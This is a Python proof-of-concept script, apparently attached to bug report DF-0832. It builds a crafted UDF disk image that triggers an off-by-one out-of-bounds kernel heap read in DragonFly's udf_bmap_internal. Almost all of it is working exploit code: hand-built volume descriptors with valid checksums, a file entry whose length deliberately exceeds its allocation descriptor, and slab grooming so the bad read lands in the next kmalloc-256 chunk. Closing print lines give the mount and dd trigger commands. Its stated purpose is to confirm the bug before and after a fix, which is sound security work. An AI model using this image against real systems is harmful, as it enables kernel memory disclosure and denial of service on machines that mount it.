DF-0832 / make_image.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 | #!/usr/bin/env python3 """ DF-0832 — build a minimal crafted UDF image that triggers the off-by-one OOB read in udf_bmap_internal (sys/vfs/udf/udf_vnops.c:1104 / :1128). Image layout (all sectors 2048 bytes, UDF sector = absolute sector here since part_start=0): sec 0..31 : reserved (zero) sec 32 : Primary Volume Descriptor (PVD, tag id 1) sec 33 : Partition Descriptor (PD, tag id 5), part_num=0, start=0, len=N sec 34 : Logical Volume Descriptor (LVD, tag id 6), lb_size=2048, fsd_loc -> sec 64, 1x Type-1 partition map (part_num=0) sec 35 : Terminating Descriptor (tag id 8) sec 256 : Anchor VDP (tag id 2), main_vds_ex -> sec 32, len=4*2048 sec 64 : File Set Descriptor (tag id 256), rootdir_icb -> sec 65 sec 65 : root dir File Entry (tag id 261), dir, short_ad, one AD len=2048 pos=66 ; inf_len=2048 (exact, no OOB on root) sec 66 : root dir data: two FIDs (parent ".." + child "target") sec 67 : "target" File Entry (tag id 261), regular file, short_ad, ONE AD len=2048 pos=68 ; inf_len=4096 <-- MISMATCH (inf_len > covered len forces bmap_internal to iterate past the only descriptor with ad_offset==l_ad==8 -> OOB) sec 68 : file data ("AAAA...") The trigger is reading /target at offset >= 2048 (e.g. dd if=/mnt/target bs=1 skip=2048 count=1). udf_read -> udf_readatoffset -> udf_bmap_internal(offset=2048): iter 1: ad_offset=0, reads short_ad[0] (len=2048). while(2048>=2048) true iter 2: offset-=2048=0, ad_offset=8. if(8 > 8) FALSE (BUG). GETICB reads data[l_ea+8..l_ea+16) = ONE PAST the only AD = heap OOB read. """ import struct, sys BSIZE = 2048 NSECTS = 320 # 320*2048 = ~640 KB image; must include sec 256 (anchor) img = bytearray(BSIZE * NSECTS) def sector_buf(sec): base = sec * BSIZE return img, base def put(sec, off, data): base = sec * BSIZE + off img[base:base+len(data)] = data def tag_crc16(data): # ECMA-167 / UDF CRC-16 (the polynomial used by OSTA). # Implementation of the standard UDF CRC-16-HP (poly 0x8005, init 0). crc = 0 for b in data: crc ^= (b << 8) for _ in range(8): if crc & 0x8000: crc = ((crc << 1) ^ 0x8005) & 0xFFFF else: crc = (crc << 1) & 0xFFFF return crc def make_tag(tag_id, serial, desc_crc, desc_crc_len, tag_loc): """Build a 16-byte descriptor tag with correct tag checksum.""" t = struct.pack('<HHBBHHHI', tag_id, # id 0x0201, # descriptor_ver (UDF 2.01) 0, # cksum (placeholder) 0, # reserved serial, # serial_num desc_crc & 0xFFFF, # desc_crc desc_crc_len & 0xFFFF,# desc_crc_len tag_loc # tag_loc ) bs = bytearray(t) # udf_checktag: sum bytes [0..14] then subtract byte[4] -> compare to byte[4]. # i.e. effective sum = bytes 0,1,2,3,5,6,7,8,9,10,11,12,13,14 (14 bytes). cksum = 0 for i in range(15): # 0..14 only, NOT 15 cksum = (cksum + bs[i]) & 0xFF cksum = (cksum - bs[4]) & 0xFF bs[4] = cksum return bytes(bs) def write_descriptor(sec, tag_id, payload_after_tag, tag_loc=None): """Write a full descriptor: tag (16B) + payload, with CRC over payload. The on-disk layout is: [tag(16)] [payload]. desc_crc covers payload only; desc_crc_len = len(payload). tag_loc defaults to `sec`.""" if tag_loc is None: tag_loc = sec payload = bytes(payload_after_tag) crc = tag_crc16(payload) if payload else 0 t = make_tag(tag_id, 0, crc, len(payload), tag_loc) put(sec, 0, t) put(sec, 16, payload) # --- constants --- TAG_PVD, TAG_ANCHOR, TAG_PART, TAG_LOGVOL, TAG_TERM = 1, 2, 5, 6, 8 TAG_FSD, TAG_FID, TAG_FENTRY = 256, 257, 261 # Sectors we use (all partition-relative because part_start=0). SEC_PVD, SEC_PD, SEC_LVD, SEC_TERM = 32, 33, 34, 35 SEC_ANCHOR = 256 SEC_FSD = 64 SEC_ROOTFE, SEC_ROOTDIR, SEC_TARGETFE, SEC_TARGETDATA = 65, 66, 67, 68 # ---------------------------------------------------------------------- # Anchor VDP (sector 256): main_vds_ex.loc=32, len=4*2048 ; reserve -> 32 # struct extent_ad { uint32 len; uint32 loc; } # ---------------------------------------------------------------------- anchor_payload = struct.pack('<II', 4 * BSIZE, SEC_PVD) # main_vds_ex anchor_payload += struct.pack('<II', 4 * BSIZE, SEC_PVD) # reserve_vds_ex write_descriptor(SEC_ANCHOR, TAG_ANCHOR, anchor_payload, tag_loc=SEC_ANCHOR) # ---------------------------------------------------------------------- # Primary Volume Descriptor (sector 32). Minimal; many zero fields. # We just need the tag id + crc to pass udf_checktag. The mount code # does NOT validate PVD contents beyond the tag (udf_vfsops.c skips it). # ---------------------------------------------------------------------- pvd_payload = bytearray(512 - 16) # vol_desc is large; fill to one sector # seq_num struct.pack_into('<I', pvd_payload, 0, 1) # seq_num # pdv_num struct.pack_into('<I', pvd_payload, 4, 0) # pdv_num # rest is zero (vol_id, etc.) write_descriptor(SEC_PVD, TAG_PVD, bytes(pvd_payload[:200])) # ---------------------------------------------------------------------- # Partition Descriptor (sector 33). # struct part_desc { # tag(16); seq_num(4); flags(2); part_num(2); regid contents(32); # access_type(4); start_loc(4); part_len(4); regid imp_id(32); # imp_use[128]; reserved[156]; # } # We need: part_num=0, start_loc=0, part_len=N_SECTS. # ---------------------------------------------------------------------- pd_payload = bytearray() pd_payload += struct.pack('<I', 1) # seq_num pd_payload += struct.pack('<HH', 1, 0) # flags=1, part_num=0 pd_payload += bytes(32) # contents (regid: zeros) pd_payload += struct.pack('<I', 1) # access_type=1 (read-only) pd_payload += struct.pack('<I', 0) # start_loc=0 (partition starts at sec 0) pd_payload += struct.pack('<I', NSECTS) # part_len pd_payload += bytes(32) # imp_id regid pd_payload += bytes(128) # imp_use pd_payload += bytes(156) # reserved write_descriptor(SEC_PD, TAG_PART, bytes(pd_payload)) # ---------------------------------------------------------------------- # Logical Volume Descriptor (sector 34). # struct logvol_desc { # tag(16); seq_num(4); charspec(64); logvol_id[128]; lb_size(4); # regid domain_id(32); union { long_ad fsd_loc; } (16); # uint32 mt_l; uint32 n_pm; regid imp_id(32); imp_use[128]; # extent_ad integrity_seq_id(8); maps[1]; # } # We need: lb_size=2048, fsd_loc -> part 0 / sec 64, n_pm=1, one Type-1 PM. # ---------------------------------------------------------------------- charspec = bytes([0] + [32]*63) # type 0, CS0 fill byte 0x20 (per UDF) domain_id = bytes(32) # zeros acceptable for the kernel imp_id = bytes(32) lvd_payload = bytearray() lvd_payload += struct.pack('<I', 1) # seq_num lvd_payload += charspec # desc_charset (64) lvd_payload += bytes(128).replace(b'\0', b'\0', 1) # logvol_id (128 zeros) lvd_payload += struct.pack('<I', BSIZE) # lb_size=2048 lvd_payload += domain_id # domain_id (32) # fsd_loc: struct long_ad { len(4); lb_addr{lb_num(4),part_num(2)}; ad_flags(2); ad_id(4) } = 16 bytes fsd_len = BSIZE # FSD occupies one sector lvd_payload += struct.pack('<I', fsd_len) # fsd_loc.len lvd_payload += struct.pack('<I', SEC_FSD) # fsd_loc.loc.lb_num lvd_payload += struct.pack('<H', 0) # fsd_loc.loc.part_num lvd_payload += struct.pack('<H', 0) # ad_flags lvd_payload += struct.pack('<I', 0) # ad_id lvd_payload += struct.pack('<I', 64) # mt_l: partition map length = 64 (one PM of size 64) lvd_payload += struct.pack('<I', 1) # n_pm: 1 partition map lvd_payload += imp_id # imp_id lvd_payload += bytes(128) # imp_use lvd_payload += struct.pack('<II', 0, 0) # integrity_seq_id (extent_ad) # Type 1 partition map: type(1)=1, len(1)=64, vol_seq_num(2)=1, part_num(2)=0 pm1 = struct.pack('<BBHH', 1, 64, 1, 0) + bytes(60) lvd_payload += pm1 write_descriptor(SEC_LVD, TAG_LOGVOL, bytes(lvd_payload)) # ---------------------------------------------------------------------- # Terminating Descriptor (sector 35). # ---------------------------------------------------------------------- write_descriptor(SEC_TERM, TAG_TERM, bytes(512 - 16)) # ---------------------------------------------------------------------- # File Set Descriptor (sector 64). # struct fileset_desc { tag(16); timestamp(12); ichg(2); max_ichg(2); # charset_list(4); max_charset_list(4); fileset_num(4); fs_desc_num(4); # charspec(64); logvol_id[128]; charspec(64); fileset_id[32]; # copyright_file_id[32]; abstract_file_id[32]; # long_ad rootdir_icb(16); regid domain_id(32); long_ad next_ex(16); # long_ad streamdir_icb(16); reserved[32]; } # We need rootdir_icb -> part 0 / sec 65. # ---------------------------------------------------------------------- fsd_payload = bytearray() fsd_payload += bytes(12) # timestamp fsd_payload += struct.pack('<HH', 4, 4) # ichg_lvl, max_ichg_lvl fsd_payload += struct.pack('<II', 1, 1) # charset_list, max_charset_list fsd_payload += struct.pack('<II', 0, 0) # fileset_num, fileset_desc_num fsd_payload += charspec # logvol_id_charset (64) fsd_payload += bytes(128) # logvol_id fsd_payload += charspec # fileset_charset (64) fsd_payload += bytes(32) # fileset_id fsd_payload += bytes(32) # copyright_file_id fsd_payload += bytes(32) # abstract_file_id # rootdir_icb (long_ad): len, lb_num, part_num, ad_flags, ad_id fsd_payload += struct.pack('<I', BSIZE) # len fsd_payload += struct.pack('<I', SEC_ROOTFE) # lb_num fsd_payload += struct.pack('<H', 0) # part_num fsd_payload += struct.pack('<H', 0) # ad_flags fsd_payload += struct.pack('<I', 0) # ad_id fsd_payload += bytes(32) # domain_id fsd_payload += struct.pack('<IIHHI', 0, 0, 0, 0, 0) # next_ex (long_ad, 16B) fsd_payload += struct.pack('<IIHHI', 0, 0, 0, 0, 0) # streamdir_icb (long_ad, 16B) fsd_payload += bytes(32) # reserved write_descriptor(SEC_FSD, TAG_FSD, bytes(fsd_payload)) # ---------------------------------------------------------------------- # Helpers for File Entries. # struct icb_tag { prev_num_dirs(4); strat_type(2); strat_param(2); # max_num_entries(2); reserved(1); file_type(1); lb_addr(6); flags(2) } = 20B # struct file_entry { # tag(16); icb_tag(20); uid(4); gid(4); perm(2); link_cnt(2); # rec_format(1); rec_disp_attr(1); rec_len(4); inf_len(8); logblks_rec(8); # timestamp x3 (12*3=36); ckpoint(4); long_ad ex_attr_icb(16); # regid imp_id(32); unique_id(8); l_ea(4); l_ad(4); data[1]; } # ---------------------------------------------------------------------- ICBTAG_SHORT_AD = 0 # flags & 0x7 == 0 -> short_ad allocation descriptors ICBTAG_LONG_AD = 1 FILE_TYPE_DIR = 4 # ECMA-167 / DragonFly udf_vfsops.c:554 (case 4 -> VDIR) FILE_TYPE_REG = 5 # case 5 -> VREG def make_icbtag(strat_type, file_type, ad_kind): return (struct.pack('<I', 0) + # prev_num_dirs struct.pack('<H', strat_type) + # strat_type struct.pack('<H', 0) + # strat_param struct.pack('<H', 1) + # max_num_entries bytes(1) + # reserved struct.pack('<B', file_type) + # file_type struct.pack('<I', 0) + # parent lb_num struct.pack('<H', 0) + # parent part_num struct.pack('<H', ad_kind)) # flags (low 3 bits = ad kind) def make_timestamp(): return bytes(12) def write_file_entry(sec, file_type, ad_kind, inf_len, short_ads, l_ea=0, ea_data=b''): """Write a File Entry at `sec`. short_ads is a list of (len, pos) tuples written verbatim into the AD area. l_ad = len(short_ads)*8 (short_ad). inf_len is the file's logical length (we can lie about it). l_ea/ea_data control the extended-attribute area size and contents (used to size the fentry allocation to exactly 256 bytes so the OOB read lands at the start of the next slab chunk for INVARIANTS grooming).""" icbtag = make_icbtag(strat_type=4, file_type=file_type, ad_kind=ad_kind) if len(ea_data) < l_ea: ea_data = ea_data + bytes(l_ea - len(ea_data)) ea_area = ea_data[:l_ea] ad_area = b'' for (l, p) in short_ads: ad_area += struct.pack('<II', l, p) l_ad = len(ad_area) payload = bytearray() payload += icbtag # 20 payload += struct.pack('<I', 0xFFFFFFFF) # uid = -1 (root) payload += struct.pack('<I', 0xFFFFFFFF) # gid = -1 payload += struct.pack('<I', 0x00001A00) # perm: uint32 (rw-r--r-- per UDF mask) payload += struct.pack('<H', 1) # link_cnt payload += bytes(1) + bytes(1) # rec_format, rec_disp_attr payload += struct.pack('<I', 0) # rec_len payload += struct.pack('<Q', inf_len) # inf_len payload += struct.pack('<Q', (inf_len + BSIZE - 1)//BSIZE) # logblks_rec payload += make_timestamp() * 3 # atime, mtime, attrtime payload += struct.pack('<I', 1) # ckpoint payload += struct.pack('<IIHHI', 0,0,0,0,0) # ex_attr_icb (long_ad, 16B) payload += bytes(32) # imp_id regid payload += struct.pack('<Q', sec) # unique_id payload += struct.pack('<I', l_ea) # l_ea payload += struct.pack('<I', l_ad) # l_ad payload += ea_area # EA data payload += ad_area # AD data[] write_descriptor(sec, TAG_FENTRY, bytes(payload)) # ---------------------------------------------------------------------- # Root directory File Entry (sector 65): directory, short_ad, ONE AD # covering sec 66, inf_len = 2048 (exact). Reading the root dir at # offset < 2048 (normal ls) does NOT trigger the bug; only /target does. # ---------------------------------------------------------------------- write_file_entry(SEC_ROOTFE, FILE_TYPE_DIR, ICBTAG_SHORT_AD, inf_len=2048, short_ads=[(2048, SEC_ROOTDIR)]) # ---------------------------------------------------------------------- # Root directory data (sector 66): two FIDs. # FID #0: parent ("..") pointing to root itself. # FID #1: "target" pointing to SEC_TARGETFE. # struct fileid_desc { tag(16); file_num(2); file_char(1); l_fi(1); # long_ad icb(16); l_iu(2); data[ l_fi + padding + l_iu ]; } # ---------------------------------------------------------------------- def write_fid(sec, offset, file_num, file_char, l_fi, name_bytes, icb_len, icb_lbnum, icb_part, l_iu=0, impl_use=b''): # FID data must be padded so that the FID is a multiple of 4 bytes # AND l_fi is padded to 4-byte boundary per UDF. We keep it simple. payload = bytearray() payload += struct.pack('<H', file_num) payload += struct.pack('<B', file_char) payload += struct.pack('<B', l_fi) # icb (long_ad) payload += struct.pack('<I', icb_len) payload += struct.pack('<I', icb_lbnum) payload += struct.pack('<H', icb_part) payload += struct.pack('<H', 0) payload += struct.pack('<I', 0) payload += struct.pack('<H', l_iu) payload += name_bytes # padding: FID total length must be multiple of 4 pad = (-len(payload)) % 4 payload += bytes(pad) payload += impl_use # write tag + payload into the middle of the sector buffer if l_iu == 0 and len(impl_use) == 0: crc = 0 else: crc = 0 # The tag's desc_crc covers bytes AFTER the 16-byte tag. pl = bytes(payload) crc = tag_crc16(pl) t = make_tag(TAG_FID, 0, crc, len(pl), sec) base = sec * BSIZE + offset img[base:base+16] = t img[base+16:base+16+len(pl)] = pl return len(pl) + 16 # Parent ".." FID: file_char = PARENT(0x08) ; l_fi=0 # (kernel: udf_readdir.c checks (l_fi==0)&&(file_char&UDF_FILE_CHAR_PAR=0x08)) off = 0 off += write_fid(SEC_ROOTDIR, off, file_num=0, file_char=0x08, l_fi=0, name_bytes=b'', icb_len=BSIZE, icb_lbnum=SEC_ROOTFE, icb_part=0) # "target" FID: file_char = VIS(0x01); l_fi = 7 ("target"), CS0 dstring name_cs0 = bytes([8]) + b'target' # CS0: 8-bit Unicode marker, then ASCII off += write_fid(SEC_ROOTDIR, off, file_num=1, file_char=0x01, l_fi=len(name_cs0), name_bytes=name_cs0, icb_len=BSIZE, icb_lbnum=SEC_TARGETFE, icb_part=0) # ---------------------------------------------------------------------- # "target" File Entry (sector 67): regular file, short_ad, ONE AD covering # sec 68 (len=2048), BUT inf_len=4096. This is the trigger: reading past # offset 2048 forces udf_bmap_internal to iterate with ad_offset==l_ad==8. # # l_ea=72 so that the kmalloc for this fentry is exactly # UDF_FENTRY_SIZE(176) + l_ea(72) + l_ad(8) = 256 bytes # which is exactly one slab chunk in the kmalloc-256 zone. The OOB read # at data[l_ea+l_ad] = data[80] therefore lands at byte 256 of the chunk = # the FIRST byte of the NEXT slab chunk. When the next chunk was freed # under INVARIANTS (debug.use_weird_array=1), its first 64 bytes hold # WEIRD_ADDR=0xdeadc0de, so the OOB short_ad read returns # {len=0xdeadc0de, pos=0xdeadc0de} -> the kernel tries to bread a sector # at ~3.7 billion, which fails with EIO. This makes the OOB read # OBSERVABLE (EIO vs clean EINVAL) for before/after fix validation. # ---------------------------------------------------------------------- TARGET_L_EA = 72 # 176 + 72 + 8 = 256 (one kmalloc-256 chunk) write_file_entry(SEC_TARGETFE, FILE_TYPE_REG, ICBTAG_SHORT_AD, inf_len=4096, short_ads=[(2048, SEC_TARGETDATA)], l_ea=TARGET_L_EA, ea_data=b'\x00' * TARGET_L_EA) # ---------------------------------------------------------------------- # Target file data (sector 68): 2048 bytes of 'A'. # ---------------------------------------------------------------------- put(SEC_TARGETDATA, 0, b'A' * 2048) # ---------------------------------------------------------------------- # Write the image. # ---------------------------------------------------------------------- out = sys.argv[1] if len(sys.argv) > 1 else 'df0832.udf' with open(out, 'wb') as f: f.write(img) print(f'wrote {out} ({len(img)} bytes, {NSECTS} sectors of {BSIZE})') print(f'trigger: mount the image and read /target at offset>=2048') print(f' e.g. vnconfig -c vn0 df0832.udf ; mount_udf /dev/vn0 /mnt') print(f' dd if=/mnt/target bs=1 skip=2048 count=16 2>&1 | hexdump -C') |